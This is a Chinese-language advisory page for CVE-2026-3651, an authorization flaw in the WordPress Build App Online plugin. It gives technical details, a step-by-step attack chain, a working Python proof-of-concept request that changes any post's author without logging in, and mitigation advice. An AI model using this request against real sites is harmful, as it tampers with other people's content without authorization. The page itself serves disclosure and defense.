CVE-2026-3651 CVSS 5.3 中危

CVE-2026-3651 WordPress Build App Online权限提升漏洞

披露日期: 2026-03-21

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-3651

漏洞类型

权限提升

CVSS评分

5.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

WordPress Build App Online Plugin

漏洞概述

WordPress插件Build App Online在1.0.23及之前版本存在权限验证缺失漏洞。由于未对AJAX动作进行身份和能力检查，未认证攻击者可修改任意文章作者，导致信息完整性受损。

技术细节

漏洞源于WordPress插件Build App Online中的`update_vendor_product()`函数存在权限校验缺失。该插件使用`wp_ajax_nopriv_`注册了`build-app-online-update-vendor-product` AJAX动作，这意味着未登录用户即可触发该函数。在处理请求时，函数直接从`$_REQUEST`中获取`post_id`参数，并传递给`wp_update_post()`函数以更新文章的`post_author`字段。由于代码中完全缺失了`check_ajax_referer()`的Nonce验证以及`current_user_can()`的能力检查，任何人都可发送恶意请求。未经认证的攻击者可以将任意文章的作者ID修改为0，使文章成为孤儿；而经过认证的攻击者甚至可以将自己设置为任意文章的作者，从而非法获取内容控制权。

攻击链分析

STEP 1

侦察

攻击者识别出目标站点安装了受影响版本的Build App Online插件（<= 1.0.23）。

STEP 2

构造请求

攻击者构造一个POST请求发送至/wp-admin/admin-ajax.php，包含action参数（build-app-online-update-vendor-product）以及目标post_id和恶意的post_author参数。

STEP 3

发送利用

攻击者发送该请求。由于使用了wp_ajax_nopriv_且无校验，服务器在无需认证的情况下接受了请求。

STEP 4

执行篡改

服务器执行update_vendor_product()函数，调用wp_update_post()将指定文章的作者修改为攻击者指定的值（如0或攻击者ID）。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL of the vulnerable WordPress site
target_url = "http://example.com/wp-admin/admin-ajax.php"

# Payload data
# post_id: The ID of the post to be modified
# post_author: The ID of the user to set as author (0 to orphan, or specific user ID)
payload = {
    "action": "build-app-online-update-vendor-product",
    "post_id": "1",
    "post_author": "0"
}

try:
    # Sending POST request without authentication
    response = requests.post(target_url, data=payload)
    
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print("[+] Response:", response.text)
    else:
        print("[-] Request failed with status code:", response.status_code)
except Exception as e:
    print("[-] An error occurred:", str(e))

影响范围

Build App Online <= 1.0.23

防御指南

临时缓解措施

建议立即检查并更新Build App Online插件至最新安全版本。如果暂时无法更新，应禁用该插件以防止漏洞被利用。此外，可以通过配置Web应用防火墙（WAF）规则，拦截包含特定action参数的异常POST请求作为临时缓解手段。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表